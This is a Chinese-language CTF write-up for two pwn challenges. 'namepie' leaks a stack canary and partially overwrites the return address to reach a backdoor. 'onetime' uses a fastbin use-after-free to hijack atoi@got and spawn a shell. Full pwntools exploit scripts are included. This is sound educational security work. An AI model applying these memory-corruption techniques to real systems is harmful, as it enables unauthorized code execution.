namepie
基本情况
程序有后门:
漏洞
第二次输入栈溢出
思路
pie 保护 partly write 绕过。
第一次输入泄露 canary ,第二次覆盖 rip
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(log_level='debug')
p = remote("172.20.14.168",9999) elf = ELF("./namepie")
p.recvuntil(":\n") name = 'skye'.ljust(0x30-0x8+1,'a') p.send(name)
p.recvuntil('skye'.ljust(0x30-0x8,'a')) canary = u64(p.recv(8))-0x61 log.info("canary:"+hex(canary))
payload = 'a'*0x28+p64(canary)+'a'*8+'\x71' p.send(payload)
p.interactive()
|
onetime
基本情况
堆管理器,有增删查改功能,每个功能只能用一次,还有一个隐藏申请选项,也是只能用一次。
堆指针、每个功能使用标志位放在 bss 段。
堆申请大小固定 0x60 ,修改只能修改 0x40 ,但是隐藏申请选项能申请并写入 0x60 字节。
漏洞
free 函数 UAF :
还有一点就是每个功能是否使用的判断条件,只要不等于 1 就能运行:
思路
- UAF 改 fastbin 中 fd 指针到 bss 段,用 bss 上 stdin 的值偏移 3 构造出 size 位 0x7f
- 申请堆回来,然后用隐藏申请选项申请出 bss 段的堆,顺便写入 payload (edit 用过一次不能用),将各个标志位覆盖,chunk_ptr 覆盖 atoi@got
- 泄露、修改函数地址
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(log_level='debug',arch='amd64')
p = process("./onetime") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./onetime") p = remote("172.20.14.168",10001) libc = ELF("./libc-2.23.so")
def add(): p.recvuntil(">>\n") p.sendline('1') def fill(content): p.recvuntil(">>\n") p.sendline('2') p.recvuntil("content:") p.send(content) def show(): p.recvuntil(">>\n") p.sendline("3") def free(): p.recvuntil(">>\n") p.sendline('4') def hint(name): p.recvuntil(">>\n") p.sendline('5') p.recvuntil("name:") p.send(name)
add() free() fill(p64(0x60208d)) add() payload = '\x00'*3+'a'*8+p64(elf.got['atoi'])+'a'*0x10
hint(payload) show() p.recvuntil("data:") atoi_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("atoi_addr:"+hex(atoi_addr)) libc_base = atoi_addr - libc.sym['atoi'] system_addr = libc_base + libc.sym['system'] log.info("system_addr:"+hex(system_addr))
fill(p64(system_addr))
p.send('sh')
p.interactive()
|